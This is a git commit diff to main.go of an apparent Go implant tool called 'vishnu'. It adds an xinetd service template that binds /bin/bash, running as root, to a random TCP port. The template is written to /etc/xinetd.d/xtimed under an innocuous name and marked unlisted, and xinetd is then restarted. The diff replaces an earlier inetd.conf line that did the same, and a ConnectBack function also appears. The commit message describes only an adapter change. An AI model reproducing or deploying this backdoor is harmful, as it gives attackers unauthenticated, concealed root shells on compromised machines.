Adapter linux client for xinetd
Signed-off-by: Pin <wf6DJd8a3xSSCZbn@protonmail.com>
This commit is contained in:
23
main.go
23
main.go
@@ -8,6 +8,8 @@ import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"strconv"
|
||||
|
||||
"github.com/emmaunel/vishnu/spec"
|
||||
@@ -17,6 +19,19 @@ import (
|
||||
"github.com/google/gopacket/pcap"
|
||||
)
|
||||
|
||||
var serviceDefine = `service {{servicename}}
|
||||
{
|
||||
disable = no
|
||||
server = /bin/bash
|
||||
port = {{serviceport}}
|
||||
flags = IPv4
|
||||
user = root
|
||||
socket_type = stream
|
||||
protocol = tcp
|
||||
wait = no
|
||||
type = unlisted
|
||||
}`
|
||||
|
||||
type targetInfo struct {
|
||||
os string
|
||||
iFace string
|
||||
@@ -77,15 +92,17 @@ func vishnu(ip string, tInfo *targetInfo) {
|
||||
randomPort := rand.Intn(65535-100) + 100
|
||||
// println("The doors are open on port ", strconv.Itoa(randomPort))
|
||||
// Append to a file /etc/inetd.conf
|
||||
fd, err := os.OpenFile("/etc/inetd.conf", os.O_APPEND|os.O_WRONLY|os.O_CREATE, 0600)
|
||||
fd, err := os.OpenFile("/etc/xinetd.d/xtimed", os.O_APPEND|os.O_WRONLY|os.O_CREATE, 0600)
|
||||
errorPrinter(err)
|
||||
defer fd.Close()
|
||||
|
||||
if _, err = fd.WriteString(strconv.Itoa(randomPort) + " stream tcp nowait root /bin/bash bash\n"); err != nil {
|
||||
xinetdServiceFile := strings.Replace(serviceDefine, "{{serviceport}}", strconv.Itoa(randomPort), 1)
|
||||
xinetdServiceFile = strings.Replace(xinetdServiceFile, "{{servicename}}", "xtimed", 1)
|
||||
if _, err = fd.WriteString(xinetdServiceFile); err != nil {
|
||||
log.Panicln(err)
|
||||
}
|
||||
|
||||
exec.Command("/usr/sbin/inetd").Run()
|
||||
exec.Command("/usr/sbin/xinetd").Run()
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -6,7 +6,14 @@ import (
|
||||
)
|
||||
|
||||
func GetAdapter() string {
|
||||
return "ens160"
|
||||
inetReturn := ""
|
||||
inetInterfaces, _ := net.Interfaces()
|
||||
if inetInterfaces[0].Name == "lo" { // Return second interface if first is loopback
|
||||
inetReturn = inetInterfaces[1].Name
|
||||
} else {
|
||||
inetReturn = inetInterfaces[0].Name
|
||||
}
|
||||
return inetReturn
|
||||
}
|
||||
|
||||
func ConnectBack(ip string, connectbackPort string) {
|
||||
|
||||
Reference in New Issue
Block a user